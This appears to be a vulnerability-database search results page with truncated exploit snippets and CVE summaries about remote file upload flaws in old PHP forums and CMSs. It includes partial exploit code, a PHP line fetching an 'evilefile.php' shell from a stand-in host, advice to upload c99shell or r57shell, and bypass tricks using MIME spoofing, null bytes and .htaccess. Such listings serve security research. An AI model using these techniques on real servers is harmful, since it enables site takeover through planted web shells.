1424 matches found
MetaForum <= 0.513 Beta Remote File Upload Exploit
No description provided by source. ?php /---------------------------------------------------------\ MetaForum = 0.513 Beta - Remote file upload Vulnerability |Description:| A security bug has been discovered in MetaForum 0.513 Beta. This bug can be used by an attacker to upload a malicious php fi...
metaforum-upload.txt
:\r\n"; $phpcode = trimfgetsSTDIN; echo "\r\n+ Connection... "; $sock = @fsockopen$argv1, 80...
MetaForum 0.513 Beta - Arbitrary File Upload
:\r\n"; $phpcode = trimfgetsSTDIN; echo "\r\n+ Connection... "; $sock = @fsockopen$argv1, 80, $eno, $estr, 30; if !$sock die"Failed\r...
MetaForum <= 0.513 Beta Remote File Upload Exploit
Exploit for unknown platform in category web applications ================================================== MetaForum = 0.513 Beta Remote File Upload Exploit ================================================== ?php /---------------------------------------------------------\ MetaForum = 0.513 Beta...
MetaForum <= 0.513 Beta - Remote file upload Vulnerability
|Description:| A security bug has been discovered in MetaForum 0.513 Beta. This bug can be used by an attacker to upload a malicious php file on the server. During the upload, the MIME type of the file is the only verified parameter. The extention isn't. This enables a attacker to fake the MIME...
MetaForum <= 0.513 Beta Remote File Upload Exploit
No description provided by source. ?php /---------------------------------------------------------\ MetaForum = 0.513 Beta - Remote file upload Vulnerability |Description:| A security bug has been discovered in MetaForum 0.513 Beta. This bug can be used by an attacker to upload a malicious php...
Jupiter CMS 1.1.5 Remote File Upload Exploit
No description provided by source. URL: http://www.acid-root.new.fr/advisories/12070214.txt / errorreportingEALL ^ ENOTICE; $url = ' http://localhost/jupiter/'; $xpl = new phpsploit; $xpl-agent"Mozilla"; $arr = arrayfrmdturl = $url.'modules/emoticons.php', "a" = 1, "reqfile" =...
Jupiter CMS 1.1.5 Remote File Upload Exploit
Exploit for unknown platform in category web applications ============================================ Jupiter CMS 1.1.5 Remote File Upload Exploit ============================================ agent"Mozilla"; $arr = arrayfrmdturl = $url.'modules/emoticons.php', "a" = 1, "reqfile" =...
eXtreme File Hosting remote file upload vulnerability
A security bug have been discovered in eXtreme File Hosting, which can be upload the attaker files and can get the shell with phpshell. bug : in this borgram with php can user upload zip or rar file hacker can upload the a.php.rar file that contain ?php $file = 'http://sample.com/evilefile.php';...
CVE-2007-0252: Undefined Security Weakness
Unspecified vulnerability in easy-content filemanager allows remote attackers to upload or modify arbitrary files via unspecified vectors...
CVE-2006-6783
logahead UNU 1.0 before 20061226 allows remote attackers to upload arbitrary files via unspecified vectors related to plugins/widged/widged.php aka the WidgEd plugin, possibly because of an authentication bypass. NOTE: some of these details are obtained from third party information...
CVE-2006-6783: Improper Authentication
logahead UNU 1.0 before 20061226 allows remote attackers to upload arbitrary files via unspecified vectors related to plugins/widged/widged.php aka the WidgEd plugin, possibly because of an authentication bypass. NOTE: some of these details are obtained from third party information...
logahead UNU edition 1.0 - Arbitrary File Upload Code Execution
logahead UNU edition 1.0 - Arbitrary File Upload Code Execution -=--------------------ADVISORY-------------------=- logahead UNU edition 1.0 Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: logahead UNU edition -=+ Version: 1.0 -=+ Vendor's UR...
Mambocom_hotornot-1.2.2.txt
------=Part26246633113660.1158601122097 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Mambo comhotornot open u'r browser http://victim.xxx/components/comhotornot/uploadfile.php? - upload u'r shell c99shell.php or r57shell.p...
[email protected] <= 2.4.02 Advisory / Remote File Upload Exploit
Exploit for unknown platform in category web applications =========================================================== email protected Exploit writting by: Simo Ben youssef Discovered: 05 Aout 2006 Published : 15 September 2006 MorX Security Research Team Details Remote File Inclsuion : vulnerable...
CVE-2006-4758
phpBB 2.0.21 does not properly handle pathnames ending in %00, which allows remote authenticated administrative users to upload arbitrary files, as demonstrated by a query to admin/adminboard.php with an avatarpath parameter ending in .php%00...
phpBB 2.0.21 - Poison Null Byte Remote File Upload
phpBB 2.0.21 - Poison Null Byte Remote File Upload !/usr/bin/perl -w Author: ShAnKaR Title: multiple PHP application poison NULL byte vulnerability Applications: phpBB 2.0.21, punBB 1.2.12 Threat Level: Critical Original advisory in Russian: http://www.security.nnov.ru/Odocument221.html Poison NU...
toendaCMS <= 1.0.0 (FCKeditor) Remote File Upload Exploit
Exploit for unknown platform in category web applications ========================================================= toendaCMS 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15...
CVE-2006-3070
CVE-2006-3070 affects Zeroboard 4.1 pl8 running on Apache with mod_mime. The issue allows remote attackers to bypass upload restrictions for executable extensions by uploading a .htaccess file containing an AddType directive that maps an assumed-safe extension (e.g., txt) to an executable handler...
CVE-2006-3070
writeok.php in Zeroboard 4.1 pl8, when installed on Apache with modmime, allows remote attackers to bypass restrictions for uploading files with executable extensions by uploading a .htaccess file that with an AddType directive that assigns an executable module to files with assumed-safe...